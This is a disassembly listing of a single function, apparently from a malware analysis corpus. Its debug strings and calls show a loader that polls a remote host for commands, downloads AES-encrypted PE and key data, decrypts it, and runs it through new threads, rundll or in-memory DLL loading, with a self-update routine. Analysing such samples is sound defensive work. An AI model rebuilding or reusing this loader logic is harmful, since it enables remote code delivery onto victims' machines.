Function at 0x18000af54
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rsi, rcx
movaps xmmword [rax - 0x28], xmm6
lea rcx, [rsp + 0x30]
lea rdx, str.check_compatability_n
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
call fcn.180019308
xor r14d, r14d
test al, al
jne 0x18000afa5
lea rcx, [rsp + 0x30]
jmp 0x18000b4ea
mov qword [rsp + 0x28], r14
lea r8, [0x18000ade0]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.i__0_n
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, str.while__true__n
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
jmp 0x18000b4d9
lea rdx, str.In_cycle_n
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, str.Get_command_n
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.180004f18
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.18000a69c
lea rdx, str.After_getCommand_n
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, str.if__command.host________n
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rcx, [rbp - 0x58]
call fcn.1800146d4
test al, al
je 0x18000b492
lea rdx, str.const_size_t_cSize1__strlen_command.host.c_str_____1
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rcx, [rbp - 0x58]
call fcn.180004dd0
mov rcx, rax
call fcn.180045cd0
mov rcx, 0xffffffffffffffff
lea rdi, [rax + 1]
mov eax, 2
mul rdi
cmovo rax, rcx
mov rcx, rax
call fcn.180003e18
lea rcx, [rbp - 0x58]
mov rbx, rax
call fcn.180004dd0
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.18004aa08
lea rcx, [rbp - 0x58]
call fcn.180004dd0
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, str.DATA_PE__GetData_whost__command.port__wpe_
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x30]
call fcn.180004f18
lea rdx, [rbp - 0x58]
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.180004f18
mov rdx, rax
lea rcx, [rbp + 0x40]
mov r8, rbx
call fcn.180009e90
movups xmm0, xmmword [rax]
movq rax, xmm0
movups xmmword [rsp + 0x50], xmm0
test rax, rax
jne 0x18000b17a
mov ecx, dword [rbp - 0x60]
xor edx, edx
call fcn.18000ac1c
jmp 0x18000b4d0
lea rdx, str.DATA_keyData__GetData_whost__command.port__wkey_
lea rcx, [rsp + 0x30]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.180004f18
lea rdx, [rbp - 0x58]
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.180004f18
mov rdx, rax
lea rcx, [rbp + 0x50]
mov r8, rbx
call fcn.180009e90
movups xmm6, xmmword [rax]
movq rbx, xmm6
test rbx, rbx
je 0x18000b16b
lea rdx, str.if__DecryptAES__char_PE.data__PE.len___char_keyData.data__keyData.len__
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
mov edx, dword [rsp + 0x58]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
psrldq xmm6, 8
movq r9, xmm6
call fcn.1800196a0
test al, al
je 0x18000b469
cmp dword [rbp + 0x10], r14d
jne 0x18000b34c
mov eax, dword [rbp + 0x14]
test eax, eax
jne 0x18000b254
cmp dword [rbp + 0x38], r14d
jne 0x18000b31e
lea r8, [0x18000acf0]
mov qword [rsp + 0x28], r14
lea r9, [rsp + 0x50]
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, 1
jmp 0x18000b46b
cmp eax, 1
jne 0x18000b31e
lea rdx, str.rundll_logic_here
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rcx, [rsp + 0x60]
call fcn.18000aed8
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180004f18
mov rdx, qword [rsp + 0x58]
mov r8, rax
mov rcx, qword [rsp + 0x50]
call fcn.18001985c
lea rdx, [0x18007f8cc]
lea rcx, [rsp + 0x60]
call fcn.180004dd8
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x60]
call fcn.180004e10
lea rcx, [rsp + 0x30]
call fcn.18000b524
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.18000f020
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], r14
lea r8, [0x1800197cc]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 0x60]
mov dl, 1
call fcn.18000ac1c
lea rcx, [rsp + 0x30]
call fcn.18000b53c
lea rcx, [rsp + 0x60]
call fcn.180004e44
cmp dword [rbp + 0x38], 1
jne 0x18000b473
lea rdx, str.memorydll_logic_here
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea r8, [0x18000ad08]
jmp 0x18000b22b
lea rdx, str.selfupdate_logic_here
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rcx, [rsp + 0x60]
call fcn.180019920
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180004f18
mov rcx, rax
call fcn.180009d2c
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180004f18
mov rcx, rax
call fcn.1800198e8
lea rdx, str.old_file_removed
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180004f18
mov rdx, qword [rsp + 0x58]
mov r8, rax
mov rcx, qword [rsp + 0x50]
call fcn.18001985c
mov rdx, qword [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
lea rdx, [0x18007f8cc]
lea rcx, [rsp + 0x60]
call fcn.180004dd8
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x60]
call fcn.180004e10
lea rcx, [rsp + 0x30]
call fcn.18000b524
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.18000f020
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], r14
lea r8, [0x1800197cc]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 0x60]
mov dl, 1
call fcn.18000ac1c
lea rcx, [rsp + 0x30]
call fcn.18000b53c
lea rcx, [rsp + 0x60]
call fcn.180004e44
jmp 0x18000b473
xor edx, edx
mov ecx, dword [rbp - 0x60]
call fcn.18000ac1c
lea rdx, str.there_was_a_command_before__sleep_3_seconds
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
mov eax, 3
jmp 0x18000b4af
lea rdx, str.there_was_not_command_before__sleep_24_hours
lea rcx, [rbp - 0x80]
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
mov eax, 5
lea rdx, [rbp + 0x98]
mov dword [rbp + 0x98], eax
lea rcx, [rbp + 0xa0]
call fcn.1800146ec
mov rcx, rax
call fcn.1800146f8
lea rcx, [rbp - 0x60]
call fcn.18000abe8
call fcn.180019308
test al, al
jne 0x18000b003
lea rcx, [rbp - 0x80]
lea rdx, str.This_software_is_not_compatible_with_your_system_n
call fcn.180004e8c
mov rcx, rax
call fcn.180009d2c
mov rcx, rsi
call fcn.180004e44
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret